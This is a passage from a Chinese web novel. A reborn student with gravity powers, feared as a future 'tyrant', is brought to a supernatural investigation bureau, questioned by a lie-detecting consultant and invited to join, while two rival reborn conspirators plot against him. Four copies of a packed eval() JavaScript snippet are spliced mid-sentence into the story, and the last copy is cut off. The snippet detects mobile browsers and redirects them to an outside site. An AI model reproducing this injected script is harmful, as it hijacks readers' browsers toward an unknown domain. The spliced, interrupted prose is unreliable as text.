骑手小哥打了个寒颤，大跨步上前迅速挤进空间漩涡，其他人忙不迭跟上，都不想和暴君共处一室。 盛子安皱眉：“你……您不打算走？” “我被点名了，跑了只会增加嫌疑。”白旭临边说边透过墙壁看向窗外，却发现警察们都停下脚步不再前进，院子里不知何时多出来了一辆武装车。 他眯起眼睛。不是警车……看着像军车？ 视线陡然扭曲，白旭临的目光再一次穿透车身，看到里面的人。 他的瞳孔猛然一缩。 从未见过这么浓厚的能量，那人身上的红点在灰蒙蒙一片中显得格外耀眼，数量众多而移动缓慢，仿佛正在潜伏的猎手，随之准备出击。 b级……不，红点越多越大代表着等级越高。白旭临粗略估算了自己和对方的差距，这人已经摸到a级的边缘了。 至少b级巅峰。 他的太阳穴猛地一跳，尖锐的警报在脑海里嗡鸣。白旭临立刻转头喝道：“再快点，不然就来不及了！” 房间内除了他，还剩下三人。盛子安和施展异能的女孩都面露难色，看着被卡在空间漩涡洞口的蒙面壮汉。 壮汉欲哭无泪，他的体格实在过于庞大，即使尽力缩紧自己的身体还是会卡住。 他的一条腿和一只胳膊已经穿过去了，但宽阔的肩膀和厚实的胸肌却成了无法逾越的障碍，死死地卡在洞口。那边的同伴都在使劲拉他，还是拉不过去。 不知那头是谁骂了一句，声音竟然都传到了工厂这里：“卧槽，长这么壮干什么？！打又打不过他，逃又逃不出去！” 壮汉慌张抬头看向白旭临，生怕他因为这句话又想到不久前的绑架事件而翻脸。 “……” 白旭临假装没听到，几步上前，抬起脚就要踹人。壮汉面露惊恐刚要哀嚎，马尾辫女孩率先制止：“别……强行穿过空间漩涡会导致能量紊乱，我和盛哥可能就过不去了。” 她面色苍白，刚觉醒时凭着上一世的记忆，硬生生将异能提到了c级，异能揠苗助长本来就不稳定。再加上长距离运输和多人使用，能量消耗过大，她快撑不住了。 壮汉还在不停摆弄扑腾，企图找个刁钻的角度能让自己通过，急地脸上全是汗。 白旭临语气严肃：“没办法了，我用引力把你的空间漩涡撑开，他通过后你们俩迅速跟上。” 话音刚落，无形的引力撑开了漩涡狭窄的洞口，空间漩涡硬生生又大了一圈。外力介入的异能反噬到女孩身上，她喉头翻涌起鲜血的味道，身体与空间漩涡共感出现了撕扯的感觉。 壮汉“唰”地迅速被另一头的人拽走。马尾辫女孩脸色更加苍白，捂住因消耗过度而疼痛的胸口，连忙跟在他身后冲了进去，急地刚从嘴角溢出的鲜血都顾不上擦。 盛子安紧随其后。他站在漩涡洞口回望，眼里是白旭临看不懂的复杂情绪。 然后他扭过头弯腰，毫不犹豫冲了进去。空间漩涡流转着盈盈蓝光缓慢关闭。 “啪！” 几乎是同一时间，白旭临恍惚听到清脆的响指声，剧烈的异能波动瞬间横扫过他。他身体微微一僵，想要转身，却发觉自己的身体被禁锢了，无法动弹。 不，准确的来说，是整片工厂的空间都被禁锢了。 空气仿佛粘稠起来，光线似乎都停滞了，被凝固的空间扭曲而割裂。白旭临尝试着发动引力，即便能量在体内高速运转也难以操纵房间内的物体。 这是异能等级上的压制。 他无法扭头，视线却诡异地饶过他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345117|183485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身看向屋外。领域覆盖同为a级，并没有被对方压制住。 那位a级异能者已经下了车，他缓缓抬头，仿佛透过墙壁与白旭临遥遥相望。 ** 白旭临被带进武装车里，车辆迅速发动离开郊区。 他背靠着冰冷的金属座椅，目光涣散，好像在发呆，视线却已经绕着车溜达了一圈。 这辆车的前后左右都有警车护送，红蓝色的灯光在雨雾中模糊成一片光晕。每辆车上都配有武器，警备森严，将他所在的车辆拱卫在中间，仿佛他是什么危险分子。 枪支对他来说并没有威胁，压不住他，反倒是旁边这位…… 白旭临微微侧头，看向坐在身旁的a级异能者。 对方察觉到他的目光，冲着他温和一笑。 这人大概三十几岁，外貌英俊，身材高瘦，气质沉稳，浑身散发着领导者的强大气场，可靠又温和的模样让人不由得心生亲近。他穿着一身白旭临没见过的蓝白色制服，胸前的衣服上绣着一行小字。 ——诡调局。 “你好，我是宋宴青，丹丘市诡调局一队队长。” 这位异能者直视着白旭临的眼眸，语气随和，与刚刚发动异能时的果决冷酷判若两人。 队长？ 白旭临瞥了他一眼，发现对方身上的红点在徐徐移动，这表明对方的异能蓄势待发，一直处在警戒状态。 宋宴青远没有他表面上显现的这么温和。 白旭临沉默着，忽略对方的自我介绍，并不接话。 宋宴青观察他的神色，看他没有要说话的意思，刚张开嘴要说什么，白旭临却突然开口：“诡调局是什么？” 对方一呛，刚组织好的语言只得憋回嘴里。 “诡调局全称，诡异生物和非常规事件调查局，专门负责接收异能者和处理诡异。”他再次露出温和的笑容，“很抱歉以这样的方式见面，白旭临同学，真是计划赶不上变化啊。” 白旭临挑起眉头，看对方的意思，是早就在关注自己了？ “本来我们没想这么早接触你，没想到警局接到报案，举报你绑架他人，吓得诡调局连忙把我派过来，看看是什么情况。” 宋宴青似笑非笑地看着他：“不过我看样子，不太像啊。” “谁举报我？” 白旭临语气毫无波动，仿佛只是随口一问。 “还没查到，对方的反追踪能力很强，电话录音也分析不出报案人的真实声音和拨号地点。”宋宴青耸耸肩，“至于绑架你的那伙人，能不能抓得到，也不好说。” 他语气调笑：“不过，绑架行动刺激你提前觉醒异能，也算是因祸得福？” 白旭临脸上平静，心里却已经疑惑起来。 当时站在工厂二楼看着屋外，他猜测了很多可能性。他以为是警方那边也出现了重生者，警察们暂时怀疑他的危险性才来抓人。现在看来，警局是被人忽悠了，而诡调局知道他并不是绑匪。 那么，眼下的状况就很耐人寻味。 假定诡调局也有重生者，面对他这种疑似高危的分子，诡调局只派出一位异能者前来，该说是他们对自家队长宋宴青的实力过分自信呢，还是诡调局根本就没几位异能者呢？ 白旭临不动声色试探道：“我们现在是去哪？” 宋宴青风轻云淡靠在座椅上，目光穿透雨幕遥遥望向目的地： “诡调局。” 5. 医疗检查 雨越下越小，渐渐停息。云层淡去，丹丘市逐渐晴朗起来，终于有了点早晨明媚的样子。 车辆压过泥泞的道路，快速驶向处在城市另一端的郊区，卷得泥土和积水四处飞溅。 车内。 宋宴青本来还想说话，但看到白旭临已经闭上眼睛休息养神，便也不再言语。 他用手撑住下巴，细细观察着眼前的年轻人。对方这个年龄在他心里还几乎是个孩子，脸庞稚嫩，眼神清澈，和资料里的“他”判若两人。 真不知道发生了什么，让这个孩子变成了那种样子…… 毫无预兆，白旭临忽然睁开眼，猝不及防撞入宋宴青的眼帘。 宋宴青来不及收回视线，像被针扎到一样迅速扭头，仿佛突然对窗外的景色产生了极大的兴趣。 刚刚对方锐利的眼神，惊得他一瞬间骤然绷紧，放在腿上的双手无意识攥紧，又迅速松开。 空气里弥漫着一股尴尬的气息。 “……” 拥有领域覆盖这种超强辅助性异能，白旭临即使不睁开眼睛也看得见周边环境。他忽然睁眼就是想恶搞对方，但没想到宋宴青居然被吓到了。 于是他顿了顿，面无表情说道：“不用一直盯着我看，我知道我很帅。” 宋宴青：“……” 淡淡的语气说出一本正经自夸的话，听得他忍不住笑起来。宋宴青身体终于放松下来：“你这小孩怎么这么臭屁。” 要帅也是他更帅。 凝滞的空气开始松动，气氛缓和下来，他倒也心下松了口气。刚才他转头那一瞥看见的锐利眼神，应该只是错觉…… 白旭临掀开眼皮，眼里只有一种独属于高三生的半死不活感：“诡调局怎么只派了你过来。” “怎么，我来迎接你还不够吗？”宋宴青不知有没有察觉到他试探的心思，语气调笑，“这阵容可够大了。” “迎接？” 白旭临闻言面色古怪：“我以为是来抓我的。” “嗯？我不是说了嘛，诡调局知道你不是绑匪。”宋宴青看了眼手机，发出去一条消息，“等会儿我们会向你询问关于这次绑架事件的细节，你不用紧张，诚实回答就好。” 所以诡调局这是来……招安？ 他看着宋宴青拿着手机聊天，便转头看向窗外，不再言语。 车辆一个转弯，开始往山上开去。 丹丘市小山很多，白旭临倒是没想到诡调局会设立在山上。车子七拐八拐，又是向上开又是向下开，在要把人转晕之前缓缓停了下来。 白旭临往窗外瞄了一眼，看见一座高大的合金门，在刚露出的阳光下泛着冷灰色的金属光泽。 大门后方，诡调局的蓝白色建筑群在地平线上展开，更远处，就是波光粼粼的无垠的海洋。 门口的手持枪支的警卫都看向这边，其中一人走到车窗边，要进行检查。 车窗缓缓拉下，露出宋宴青温和英俊的面孔。 警卫肃然起敬，标准敬礼：“宋队！” 宋宴青点点头，拿出证件给他检查：“辛苦了。” 警卫仔细核验，恭敬递回证件，挥手示意大门放行。 车子缓缓开过，再次停在一座大门前。检验证件，刷卡，扫脸，核对指纹和瞳孔，司机和宋宴青都要一一测验。 白旭临倒是不用做。他跟着宋宴青下车，看着警卫们又拿来什么他没见过的检验机器：“排查挺严格的。” 宋宴青笑了笑：“不得不严。” 他伸出手放在那个小巧的正方体金属块上，机器指标亮起绿灯：“欢迎回到基地，宋宴青队长。” “走吧。”他示意白旭临跟上。 最后一道大门开启，白旭临随着他走进诡调局大厅，忍不住回头去看刚才那个检测机器。 在“领域覆盖”异能的加持下，他分明看见，宋宴青将异能能量注入到那个机器里。 诡调局已经掌握了异能领域的黑科技？不对，异能到底是怎么和科学扯上关系的，这两者的本质都不一样吧…… 大厅里有几个身穿蓝白色制服的人，坐在那里喝水休息，明显是刚结束早上的训练。看到有陌生的面孔，全都好奇地伸着脖子往这边张望。 “看什么看！”不知何时站在门口的中年教官横眉瞪眼咆哮道，声音在整个大厅回荡，“是不是早上的训练太轻松了？让你们闲地在这里看热闹！” “你们几个，全部给我加练！” 那几个休息的人大惊失色，嘴里喊着“教官饶了我们吧”，统统脚底抹油跑了，大厅里顿时人影全无。 教官气势汹汹转过身，在看到宋宴青时朝着他敬了个礼，然后瞥了眼旁边的白旭临。 白旭临默默缩到宋宴青身后。 宋宴青温和地对着教官点点头，拉着白旭临往另一边走。 “你怕什么？又不是所有人都这么凶。”宋宴青在心里偷笑，嘴上问的话却憋住了笑意。 白旭临：“……” 他扯开话题：“你们诡调局，到底属于警方还是军方？” “都不是，我们是独立的特殊部门。”宋宴青回复道。他扭头去看白旭临，发现他还在回头看那个大厅里的教官。 白旭临转回头，又跳到上一个话题：“我这心里，怎么这么不安呢，你说的话靠谱吗？” “噗……哈哈哈哈哈！” 宋宴青终于忍不住笑出来：“白旭临同学，你的思维太跳脱了。” 他拼命想要制住笑得颤抖的肩膀，试图不让嘴角上扬：“作为一个靠谱的成年人，我负责任地告诉你，我们诡调局的人都是很好相处的。” “……我对此表示怀疑。那我们现在是去医务室吗？” 宋宴青脚步一顿：“……？” 白旭临指了指自己的脑袋：“我被绑架的时候，头部都被砸了，还被人电击过。虽然我现在看起来很正常，但我觉得还是得先看一下医生。” 他扬起眉头：“你不会没考虑到这一点吧，靠谱的成年人？” “……” 宋宴青上下打量了一下他，最后捂住额头：“好吧，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345118|183485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实没想到。” 虽然异能者的身体素质和恢复能力远强于普通人，但以防万一，还是得让这小孩去检查一下。 ** 白旭临坐在医务室椅子上，看着医疗系异能者手里托着一个绿莹莹的光球，扫过他的全身。光球散发着温暖旺盛的生命力，转了一圈后自动飘回异能者的手心。 穿着白大褂的异能者收回手：“没什么问题，你的伤都自行恢复了，吃点东西睡一觉就好。” 倚在门上叉着手的宋宴青笑道：“这下放心了吧，旭临同学。” 白旭临嘴里嚼着医疗者递给他的糖，没有纠正对方暗戳戳改变的称呼。 他刚要起身随着宋宴青走出去，隔壁忽然有人“哗啦”一把掀开医用隔帘，双眼通红，冲着白旭临的后脑勺毫不留情挥出一拳。 在医疗异能者的惊呼声中，白旭临淡然地微微侧身，那个年轻人的拳头堪堪擦过他的脸，只挥到了空气。他用力不稳，一个踉跄摔倒在地，立刻挣扎着要爬起来。 “小林！” 宋宴青大惊，迅速挡在白旭临身前，将年轻人扶起来。他垂头低声安慰着：“我们先出去好吗？出去再说。” 那个医疗异能者很自觉地远离了这里的是非之争。白旭临站在一旁冷眼旁观，越过宋宴青的肩头，对上了年轻人愤恨而又绝望的眼神。 他曾在盛子安那帮人的眼里见到过同样的眼神。 名叫“小林”年轻人死死按住宋宴青的肩膀，盯着被护在身后的白旭临，声音沙哑而怨毒：“是你，果然是你，我这辈子都忘不了你的声音——” 他猛然转头看向宋宴青，神情疯狂而扭曲，语气近乎偏执：“队长，是白旭临，是他，你看到了吗！他屠光了我们一队，放任诡异在城市里纵行，把异能者们封死在虫茧里虐杀取乐！他是恶魔……是暴君！是不折不扣的神经病！队长你要为我们报仇啊……” 宋宴青反手握住他的手，轻声安慰道：“没事的小林，我们都还活着呢，没事的……” “不，不对。”年轻人神情恍惚，自顾自摇起头，脸上满是恐惧和绝望，“不对，我们打不过他的，我们没人打得过他……他是故意的，想看着我们慢慢死掉……队长你快跑，快跑啊！再不跑就来不及了——” 话音未落，宋宴青便一掌砍在他颈部。 年轻人的话戛然而止，眼神涣散，身体瘫软倒在他肩膀上，晕了过去。 宋宴青轻声叹气，示意躲在远处的医疗异能者过来把人带走。 医疗异能者认命般一步步挪过来，勤勤恳恳带着他刚治好却又晕倒的病人走了。 宋宴青四处望了望，看到白旭临站在旁边跟没事人一样，还鼓着腮帮子吃糖。 他头痛地捂住脑袋，不知道该怎么解释，憋了半天最后就吐出一句：“……旭临，你别放在心上。” 白旭临把嘴里的糖挪到另一边的腮帮子，看着宋宴青为难的模样，慢吞吞地开口：“长官，我刚刚什么都没听见，我什么都不知道，真的。” 宋宴青：“……” 6. 绑架事件问答 白旭临一屁股坐进单人沙发，打量起房间。 这是一个小型待客室，装潢和外面的大厅以及其他房间都不太一样。木质地板平铺在地面上，墙上贴着暖色调的壁纸，灯光明亮而舒适。几张懒人沙发围着玻璃茶几随意摆放，旁边的开放式茶柜里摆满了茶具和瓶装饮料。 “饿了你先吃着。”宋宴青指着茶几上的零食说道，“不够柜子里还有，辛苦你忍耐一下，聊完就可以去吃饭了。” “咕噜。” 白旭临的肚子很应景地叫出声。他也不客气，拆了包薯片自顾自吃起来。 宋宴青笑了笑：“你坐着等会儿，问话的人马上就来。” 咔嚓咔嚓的咀嚼声瞬间停了下来。 白旭临皱着眉放下薯片：“不是你来问？” “不是，是诡调局总部派来的心理顾问。”宋宴青走到门口，再次露出温和的笑容，“人很好说话，你不用担心。” 白旭临目送他出门，抱胸叉手沉思起来。 他没敢在诡调局里放肆地使用“领域覆盖”异能，就是担心有些异能者感官敏锐，会察觉到这种异能能量波动。 但这座房间的监控也太多了点，多到他不用特意去感知都能发现。这里不是待客室，完全就是监视他人的房间吧？！ 白旭临挺直的腰板一松，慢慢往后靠，整个人几乎要陷进柔软的沙发里。 他被宋宴青以看似温和实则强硬的手段“请”到这里来，本身就不太乐意，在车上也呛过对方几句话。但好歹是相处过一段时间的，对这个人的性格和作风都有初步的了解。 换了一个人来问话，对他而言有些危险。 心理顾问？从总部来的人绝不会普通，搞不好是心灵类型的异能者。而他又不可能把绑架事件的真实情况原原本本地讲出来，不然他要怎么解释为何故意放跑那帮绑匪…… 接下来的这场问话，他需要有技巧地回答，绝不能让诡调局对他产生特别糟糕的印象，甚至是和所谓的“暴君”联系在一起。 这将直接影响他的未来。 ** “一进门就抬头看监控，这小孩很敏锐，他有受过这方面的训练吗？” “老李你昏头了吧，一上来就把人家往不好的方面想？要我看，这孩子只是刚好往监控那个方向瞥了一眼而已。” “胡说八道！往哪里看不好，偏偏往监控方向看，哪有这么巧合！这摄像头还藏得这么隐秘。” 几个老专家坐在暗沉沉的监控室里，面前一整面墙都是单向可视镜，对面赫然就是白旭临所在的接客室。 十几个监控屏幕显示在另一面墙上，各个方位监视着那个瘫在沙发里的高中生。 姓李的老专家盯着屏幕里的白旭临，仔细观察： “这个动作是要拿东西吃吧？果然……嘴部咀嚼眼神放空，这是边吃边发呆啊。” “提到换人来问话时，眼神变了，瞳孔略微放大。这小子在紧张。” “从早上被绑架到现在进入诡调局，期间发生了这么多匪夷所思的事情，这小孩还能保持镇静，看来城府颇深，可能还有点心理问题……” 另一位老专家终于忍不住了：“老李你别扯了，能保持冷静算什么心理问题！我倒觉得这是个好苗子，很适合纳入咱们诡调局。” 先前讲话分析的李老专家瞪了过来：“老陈你自己听听，这像话吗？成长在平和的环境中却养出了孤僻冷静的性格，你觉得这正常吗？” “少拿你那套多数决定少数的理论来讲！”陈老专家吹胡子瞪眼，“做我们这行的，哪能这样直接下判定？” 李老专家不甘示弱，反唇相讥：“上次在京城做顾问时你还信誓旦旦说人家无罪，结果那人隔天就被搜查出犯罪铁证。都笑掉大牙了，还在这讲呢！” “……” 宋宴青刚走进监控室，就听到几位从总部派来的老专家们在争吵。 他举着拳头抵在嘴边，轻轻咳了几声。 几位老专家停止争吵，监控室里所有人都朝他看过来。 “代理局长终于来啦。”刚刚还在争吵的陈老露出和蔼的笑容，语气有些调侃，“我们这帮老头子可是等你好久了。” “久等了，您叫我宴青就好。” 宋宴青微笑致意，然后转身看向坐在另一边的顾问。 “苏顾问，接下来就交给你了。” 苏玫漾合上文件夹站起身，电子屏幕的冷光映出了她眼底瞬间闪过的精明。她将碎发捋到耳后，看着单向可视墙后的白旭临，微微一笑：“我会尽我所能的，宋队。” ** “咔嚓。” 白旭临睁开眼，在沙发上坐好，看向门口。 一位长发女性身穿便装，挂着甜美的笑容走了进来：“你好，初次见面，我是苏玫漾。” 她的嗓音温和而沉静，让人联想到大提琴在音乐厅里回响的余韵，带着令他人下意识亲近和放松警惕的感染力。 ——是和宋宴青同类型的人，但恐怕这位更难应付。 白旭临有些头痛地想，但脸上没有显出异样，只是如常平淡地回应：“你好，我是白旭临。” 对方是学心理学的，对人的情绪变化会特别敏感。他面对这种人要万分小心，但又不能过分谨慎显得自己束手束脚。 “你不用这么紧张，当作轻松的聊天就好。”苏玫漾坐在他对面的沙发上，笑道，“要喝点什么吗，茶，还是饮料？” 白旭临略微调整了一下自己的表情和坐姿：“谢谢，我不喝，你直接开始问吧。” “放松，放松，我不是在审问，我们只是在聊天。” 苏玫漾的表情更加柔和：“你是什么时候觉醒异能的？” “我是在上学途中被绑匪袭击，醒来后发现自己突然觉醒的。”白旭临表情淡然，“就几个小时前。” 试探。第一个回答就半真半假。 苏玫漾对他的回答没什么反应，继续微笑道：“是什么类型的异能呢，等级知道是多少吗？” “引力异能。等级的话，我不知道，但是没有宋……宋队的强。” 他嘴一瓢，差点直呼宋宴青大名。 还没等对方问出下一个内容，白旭临抢先开口，漫不经心地仿佛真的只是在随意聊天：“你们等级是怎么测试的？” 苏玫漾眨眨眼：“是有专门的仪器来检测的，你如果好奇的话，等一下就可以直接去测，宋队会为你安排的。” “苏顾问的等级比宋队要高吗？” “没有哦。”苏玫漾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345119|183485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次是发自内心的笑了出来，“宋队的等级是整个丹丘市最高的。” 她此话一出，白旭临几乎毫不犹豫地开启了“领域覆盖”，异能能量扫过苏玫漾的身体时，她也在意料之内的没有反应。 视线里，世界的颜色在快速褪去，所有物体都变成灰蒙蒙一片，抽象成简单的线条与斑点。密集的红点在苏玫漾身上不均匀分布，稀疏地盖住她的身体。 信息流自动反馈到白旭临的大脑：对方拥有识别谎言的异能。 果然，是心灵系。 他瞥了眼对方身上不断扩散又合拢的红点，这就是为什么对方看不穿他的谎言。苏玫漾只有b级，而他自己在领域覆盖的影响下，身体表面已经完全被代表能量的红点覆盖。 他的内心与外界之间筑起了一座坚固的围城，任何低于a级的异能都无法看出他的情绪和心理状况。 白旭临彻底放松下来。他微微一笑，身体往后靠在沙发上：“好，我等一下去测测看。” 苏玫漾显然很高兴他进入了聊天状态。接下来的几个问题白旭临都如实回答，但在讲到工厂里绑匪逃跑时，他还是编造了一下。 “绑匪里有四五个觉醒了异能的，和我正面对峙。虽然我是刚觉醒，但当时我拼尽全力对抗，并且他们都是辅助类异能，倒也靠近不了我。” 白旭临语气冷静，仿佛真的把当时的现场还原了一遍：“正在僵持的时候，警察来了。然后他们全都通过一个蓝色的漩涡跑了出去。” “蓝色的漩涡？”苏玫漾神情认真，“能具体说说嘛。” “一个女性绑匪施展的漩涡，半人大小，通往工厂外的某片空间。”白旭临耸耸肩，“不过，他们到底去了哪里，我就不知道了。” “后来嘛，就是宋队赶来了。” 苏玫漾点点头：“我知道了。那你还记得那帮绑匪的特征吗？任何特点都可以。” “他们全部蒙着脸，声音我也记不住，身材好像都差不多。哦，有一个人倒是特别壮。” 白旭临作出思考状：“不过，我假晕的时候，听到领头的绑匪在给一个姓庄的打电话。” 这才是白旭临放走盛子安那帮人的真实原因。放走那些人，任由他们去和姓庄的接触，才能扯出更多想要谋杀他的重生者。 至于为什么不告诉诡调局——他根本就不信任一个不曾听闻的部门，特别是这个部门里还存在着其他仇视他的重生者。截至目前，白旭临还是有点摸不准诡调局对他的看法。 说是招安吧，这几位见过的异能者都对他充满警惕；说是警惕吧，偏偏又态度温和，放任他在这里吃吃喝喝。 “好，我想问的就这些了。”苏玫漾站起身笑道，“很高兴和你聊天，等一下宋队还会来找你谈事情。” “还来？”白旭临满头黑线，“你们就不能一次性把话讲完吗？” 苏玫漾下意识往监控室的方向瞥了一眼。她无奈地笑笑：“职责不同，总是要分工的。” 她推门而出，而白旭临顺着她刚刚看的方向，对着那堵墙陷入沉思。 他释放出意识，领域覆盖的能量波动瞬间破墙而出，囊括了目光所不及之处。 下一秒，白旭临瞪大眼睛。 不是，这隔壁怎么这么多人啊！ 7. 正式加入 白旭临震惊。 白旭临疑惑。 白旭临陷入沉思。 一墙之隔的宋宴青看到他这幅表情，暗道大事不妙。 他匆匆离开监控室，来不及与擦肩而过表情惊讶的苏玫漾打招呼，立刻推门而入。 一进接客室，就看到白旭临单手托着下巴，若有所思盯着他看。 宋宴青：“……” 他看到白旭临表情几经变化，张口又要说出什么噎死人的话，便马上施展打断大法抢先开口： “算了，我也不去猜你到底想到了什么。” 他从袋子里掏出一个平板：“这里是一个心理小测评，五分钟就可以做完，辛苦你了。” 白旭临接过平板，随意扫了一眼：“做完我就可以走了吧？” “啊，哈哈，这个嘛。”宋宴青干笑了几声，“外面又下雨了，暴雨，你要不再坐一会儿。” 白旭临抬眸皱眉。他把随便点完答案的平板往桌上一放：“宋队，话也问完了，心理评测也做完了，你还想说什么，还是快点说出来吧。” “宋队，那种测评不怎么重要，你还是先讲重要的事情。不要惹恼他。” 耳麦里传来苏玫漾冷静的声音。 宋宴青收回看向平板的目光，深吸一口气，神情认真：“旭临，你也知道，我们诡调局是专门接收异能者，保护百姓，维护治安的一个特殊组织。” “总部传来消息，大概一个月后，会有一场席卷全球的灾难，诡异生物会突然爆发增长。我们需要更多的异能者来共同抵御这次灾变。” 他直视着白旭临的眼眸，语气诚恳：“我代表诡调局丹丘市分部，想邀请你加入我们。” …… “轰隆——” 瓢泼大雨倾盆而下，泥泞的小路积满泥水，肮脏不堪。 水洼模糊倒映着霓虹招牌，下一秒被人踩碎，涟漪晃动着搅碎了光影。 盛子安跨进破败的公寓，收起雨伞抖了抖水珠，匆忙的动作搅动起一片潮湿的水汽。 他走上楼梯，年久失修的台阶发出咯吱咯吱的响声，让人不由得忧虑是不是要塌了。 楼上的住户显然已经听到了动静，悄悄开门，露出一条门缝看向外面。 “老庄，是我。”盛子安压低声音说道。房内的住户侧身让他进来，在门外观察了一圈后轻轻关上门。 盛子安一边脱下沾满雨水的外套，一边气喘吁吁说道：“我刚从工厂那边逃出来就来找你。你怎么越住越偏僻了？” 庄衍之扶了一下鼻梁上的单边金丝眼镜，慢条斯理地开口：“在原来的居住地看到了曾经的队友，以防万一，我就搬到这里。” 他坐到沙发上，拿起茶杯缓缓抿了一口：“说吧，这次行动怎么样。” “还能怎么样？当然失败了。”盛子安烦躁地挠了挠头，简述了早晨的情况。 “不过，真不知道警察怎么突然来了，还说白旭临是绑匪。”盛子安给自己倒了一杯茶灌进嘴里，余光却看见庄衍之微笑起来。 他一征，后知后觉地想到：“不会是你……” “对，是我报的警。” 庄衍之眼含笑意，嘴角带着几分文雅的温润：“我在诡调局的眼线传来消息，宋宴青独自外出去了工厂，我就报警谎称白旭临绑架他人。” “诡调局速度这么快，他们一直在监视白旭临？”盛子安一惊，后怕不已，“所以我们的计划，从一开始就失败了。” 他抱怨道：“你那眼线怎么不早说。” “没办法，人家几天前才混到队长的位置。”庄衍之慢悠悠说着，“不过，白旭临怎么愿意放你们逃跑？” “谁知道，当时我也来不及思考。但反正他不安好心。” 现在处在安全的环境里，终于有时间可以安静思考，盛子安的大脑思维又活跃起来，他眼皮一跳：“诡调局那边有重生者？” 不然怎么会行动得这么快？ 他猛地站起来，狠狠一拳砸在桌子上：“这帮该死的叛徒，居然投靠官方！这是要与暴君为伍吗？！” “……老盛冷静点，喝口茶顺顺气。” 庄衍之心疼地看着他那本来就破烂的桌子。 盛子安缓缓坐下，皱眉思索：“那现在的局势，大致都可以摸清了。” “是。”庄衍之点头附和道，“国内重生者分成四派，一派是投靠诡调局服务于官方的笨蛋派，一派是明哲保身保持中立的保守派，一派是我领导的潜伏派，一派是你领导的激进派……” 说到这里，他不由地腹诽，盛子安外貌看着清秀温和，行动起来倒是格外激进，一上来就安排绑架计划。 盛子安皱着眉头：“我们的行动要是再提早一点，说不定就成功了……” “这个先暂且不提。” 庄衍之以手握拳敲了敲桌子：“你有没有想过，白旭临万一加入了诡调局，把你们供出来怎么办？” “他？加入诡调局？”盛子安像是听到什么笑话一样，“暴君那个性子，几乎不可能会加入。” “就是怕万一，毕竟我们熟知的那个暴君，性格和现在的白旭临有可能不太一样。”庄衍之眼眸深沉，“我们都不了解暴君的过往。” “好吧，到了那种时候，我们也只能逃出境了。”盛子安摇摇头，“但有个问题，红月显现之前，诡异没有大规模爆发，我的人接触不到诡异，就无法觉醒异能。” 庄衍之也有些头疼：“我这边也是这个情况，现在的诡异太少，仅有的那几只都被诡调局杀光了。” “只能说尽力吧，看运气了。” 他往后一仰靠在沙发上，叹气道：“估计我以后也得去境外，线人那边不好判断诡调局的重生者是否认识我。万一有认识我的，诡调局派人来接触就不好了。” 盛子安握住茶杯挑眉：“你怎么不自己去诡调局当眼线？前丹丘市诡调局三队队长。” “少来！”庄衍之笑道，“傻子才会继续在那里任职。再说我也不好伪装。” 两人又聊了几句，庄衍之起身把盛子安送出门：“保持联系，一旦眼线传来白旭临加入诡调局的消息，你们就赶紧离开。” “知道了，你也注意安全。” 盛子安撑起雨伞走出公寓，迅速消失在雨幕之中。 …… “你愿不愿意加入诡调局？” 接客室内，宋宴青满脸期待。隔壁监控室里的一众专家和顾问全都屏息凝神，紧张注视着白旭临。 白旭临静默片刻，突然笑起来：“这算是公务员吗？不用考公直接上岸了。” “和公务员还是有点区别，不过工资和福利是跟体制内差不多的，甚至更多。”宋宴青解释道。 “我有个问题。”白旭临嘴边依旧挂着笑，但眼神幽深起来，“你们这是强制性招人，还是让异能者自愿加入？” 他身体前倾，直视着宋宴青的眼眸：“换句话说，如果我拒绝了，诡调局是会直接放我离开，还是会监视、拘禁，甚至直接杀了我？” 他说得过于直白，别说监控室里的众人被吓一跳，直面他的宋宴青更是心里一紧。 宋宴青立刻解释道：“我们诡调局没有这么残暴，肯定是会放你离开的。至于拘禁和杀人，这些都是非法行为，我们部门很人性化，绝不会做出这种事情。” 他忽然又想到了什么：“如果你是因为医疗室的事情起疑心的话，我可以解释。我们拥有某种预测未来的方法，但是不太稳定，而且会有后遗症。之前小林试图攻击你，也是因为遭到了预测能力的反噬。我向你保证，如果你加入我们，绝不会再发生类似的事情。” “可是在你们的预测里，我好像不是什么好人。”白旭临慢吞吞地说，“那人怎么叫我来着？暴君？” 宋宴青一怔，很快反应过来：“预测不一定准确，只是一种参考。未来是可以改变的，这也是我们找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 